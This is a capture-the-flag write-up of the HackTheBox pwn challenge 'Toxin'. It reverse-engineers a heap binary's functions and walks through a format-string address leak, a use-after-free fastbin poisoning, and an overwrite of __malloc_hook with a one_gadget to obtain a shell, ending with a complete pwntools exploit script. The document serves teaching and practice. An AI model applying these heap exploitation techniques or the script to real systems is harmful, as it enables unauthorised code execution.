HackTheBox Pwn: Toxin
This challenge on the HackTheBox was released recently, the archive attachment contains the following files:
toxin
: The binaryld-2.27.so
and thelibc-2.27
file.
The given LIBC files hinted towards the binary running on the Ubuntu 18.04 aka Bionic Beaver.
Reverse Engineering #
Using the IDA, here’s the pseudocode equivalence of the function:-
add
function #
The add
function was as follows:-
int add_toxin()
{
int v1; // ebx
int v2; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
puts("A new toxin! Fascinating.");
printf("Toxin chemical formula length: ");
__isoc99_scanf("%lu", &size);
if ( size > 0xE0 )
return puts("Chemical formula too long.");
printf("Toxin index: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 0 || v2 > 2 || toxins[v2] )
return puts("Invalid toxin index.");
sizes[v2] = size;
v1 = v2;
toxins[v1] = malloc(size);
printf("Enter toxin formula: ");
return read(0, toxins[v2], size);
}
This function was responsible for taking the size
and allocate a chunk via malloc
with the given size
and add it to the gloabl pointer toxins
, The takeaways from this function was the size
restriction was that we can allocate chunks upto 0x70 size
and since the index
given must be in within index < 0 || index > 2
it’ll throw an error, same as for if the chunk is occupied in the global array, it’ll just throw the error.
free
function #
This function handles the free
functionality for this binary:-
void drink_toxin()
{
int index; // [rsp+Ch] [rbp-4h]
puts("This is dangerous testing, I'm warning you!");
printf("Toxin index: ");
__isoc99_scanf("%d", &index);
if ( index >= 0 && index <= 2 && toxins[index] )
{
if ( toxinfreed )
{
puts("You can only drink toxins once, they're way too poisonous to try again.");
}
else
{
toxinfreed = 1;
free(toxins[index]);
}
}
else
{
puts("Invalid toxin index.");
}
}
This function also has constraints which include that we can only call free
once, that means we can only have one free
chunk. Although when it does free(toxins[index])
it does not NULL out the chunk which might lead to the Use After Free. It also does not make the global pointer toxins[index]
to 0
which made this kind of difficult since even if we free this function we won’t be able to allocate a new chunk, making us unable to allocate chunk unless the global pointer is not NULL’d out.
edit
function #
The edit
function:-
int edit_toxin()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("Adjusting an error?");
printf("Toxin index: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 2 || !toxins[v1] )
return puts("Invalid toxin index.");
printf("Enter toxin formula: ");
return read(0, toxins[v1], sizes[v1]);
}
The function was responsible for editing the alloctaed chunks, although using this, since it only checks whether the global pointer is NULL’d or not and the free
function does not NULL’s out that global pointer, we have a Use After Free vulnerability here, which gave us the ability to overwrite the fd
& bk
pointer of a free
’d chunk.
search
function #
This function allow us to search for a chunk from the global pointer, but there’s a catch with printf
here.
int search_toxin()
{
int i; // [rsp+4h] [rbp-Ch]
char s; // [rsp+Ah] [rbp-6h]
puts("Time to search the archives!");
memset(&s, 0, 6uLL);
printf("Enter search term: ");
read(0, &s, 5uLL);
for ( i = 0; i <= 2; ++i )
{
if ( toxins[i] && !strcmp(&s, (const char *)toxins[i]) )
return printf("Found at index %d!\n", (unsigned int)i);
}
printf(&s);
return puts(" not found.");
}
Given the search string, it searches for the chunk(drink) allocated, then it prints the pattern given without any specified, which made this suspectible to format string vulnerability.
Exploitation #
The methodology to exploit this is listed as follows:-
- Leak LIBC and ELF address from the format string vulnerability from the
search_toxin
function. - Allocate a chunk.
- Free that chunk
- Edit that chunk with the address of the
toxinfreed
- 0x13, which pointed towards a validfree
’d chunk pointer. - Then do one allocation for returning the first free’d pointer, then for third allocation it’ll return the
toxinfreed
address. - Overwrite the
toxins
array’s first index with a pointer to the__malloc_hook
and then null out the other chunks intoxins
array. - Edit the chunk
0
since it was overwritten with the___malloc_hook
, overwrite it withone_gadget
- Do one more allocation, eventually calling the
__malloc_hook
, resulting in theone_gadget
jump and have a shell.
Moving on, we make the utlity functions:-
from pwn import *
p = remote("159.65.84.169", 31307)
elf = ELF("toxin")
libc = elf.libc
def alloc(idx, size, content):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(size))
p.sendlineafter(": ", str(idx))
p.sendafter(": ", content)
def edit(idx, content):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(idx))
p.sendafter(": ", content)
def free(idx):
p.sendlineafter("> ", "3")
p.sendlineafter(": ", str(idx))
def search_toxin(string):
p.sendlineafter("> ", "4")
p.sendlineafter(": ", string)
Now, these functions will help us to interact with the binary more freely, then we have leak the LIBC and ELF address from the search_toxin
which are located at 3
rd and 9
th index.
search_toxin("%3$p")
libc.address = int(p.recvline().strip(b"\n"), 16) - 0x110081
log.info("LIBC: 0x%x" %(libc.address))
search_toxin("%9$p")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0x1284
log.info("ELF: 0x%x" %(elf.address))
Then, we allocate a chunk at index 0
and free it:-
alloc(0, 0x70, "AAAA")
free(0)
Now, we overwrite the fd
of that free
’d chunk with the toxinfreed - 0x13
which was identical for the structure of a chunk with the size being in 0x7f
.
gef➤ x/12xg &toxinfreed
0x555555558050 <toxinfreed>: 0x0000000000000000 0x0000000000000000
0x555555558060 <toxins>: 0x0000000000000000 0x0000000000000000
0x555555558070 <toxins+16>: 0x0000000000000000 0x0000000000000000
0x555555558080 <sizes>: 0x0000000000000000 0x0000000000000000
0x555555558090 <sizes+16>: 0x0000000000000000 0x0000000000006000
0x5555555580a0: 0x0000000000000000 0x0001000300000000
gef➤ x/2xg 0x555555558050 - 0x13
0x55555555803d: 0xfff7dd0680000000 0x000000000000007f
As you can it has the size as 0z7f
, it is identical to the structure of the chunk.
edit(0, p64(elf.symbols['toxinfreed'] - 0x13))
Now. we will do a one more allocation and with the second allocation at index 2 will return out target chunk that is toxinfreed
.
alloc(1, 0x70, "BBBBB")
Now. we will craft a payload which will overwrite the toxinfreed
as well as the index of the first chunk from the toxins
with __malloc_hook
as toxinsfreed
variable and the toxins
are stored contogously.
payload = b"\x00"*35
payload += p64(libc.symbols['__malloc_hook'])
payload += p64(0)*3
payload += p64(0x70)
alloc(2, 0x70, payload)
We overwrite the toxins
array with the 0th index being the pointer to the __malloc_hook
.
Now, we request for the edit
function with index 0
that, since overwritten by the __malloc_hook
, it’ll just return that pointer and we overwrite it with the one_gadget
address.
edit(0, p64(libc.address + 0x10a38c))
![one_gadget)(/one_gadget.png)
Now, since we overwritten with __malloc_hook
with the one_gadget
, we request for one more chunk, which in turn calls malloc
from add
function and eventually calling the __malloc_hook
:-
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(0x70))
p.sendlineafter(": ", "1")
p.interactive()
Running the exploit:-
Then, running it against the server, we get the flag:-
Exploit #
The full exploit:-
from pwn import *
p = remote("206.189.18.188", 32695)
elf = ELF("toxin")
libc = elf.libc
def alloc(idx, size, content):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(size))
p.sendlineafter(": ", str(idx))
p.sendafter(": ", content)
def edit(idx, content):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(idx))
p.sendafter(": ", content)
def free(idx):
p.sendlineafter("> ", "3")
p.sendlineafter(": ", str(idx))
def search_toxin(string):
p.sendlineafter("> ", "4")
p.sendlineafter(": ", string)
search_toxin("%3$p")
libc.address = int(p.recvline().strip(b"\n"), 16) - 0x110081
log.info("LIBC: 0x%x" %(libc.address))
search_toxin("%9$p")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0x1284
log.info("ELF: 0x%x" %(elf.address))
alloc(0, 0x70, "AAAA")
free(0)
edit(0, p64(elf.symbols['toxinfreed'] - 0x13))
alloc(1, 0x70, "BBBBB")
payload = b"\x00"*35
payload += p64(libc.symbols['__malloc_hook'])
payload += p64(0)*3
payload += p64(0x70)
alloc(2, 0x70, payload)
edit(0, p64(libc.address + 0x10a38c))
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(0x70))
p.sendlineafter(": ", "1")
p.interactive()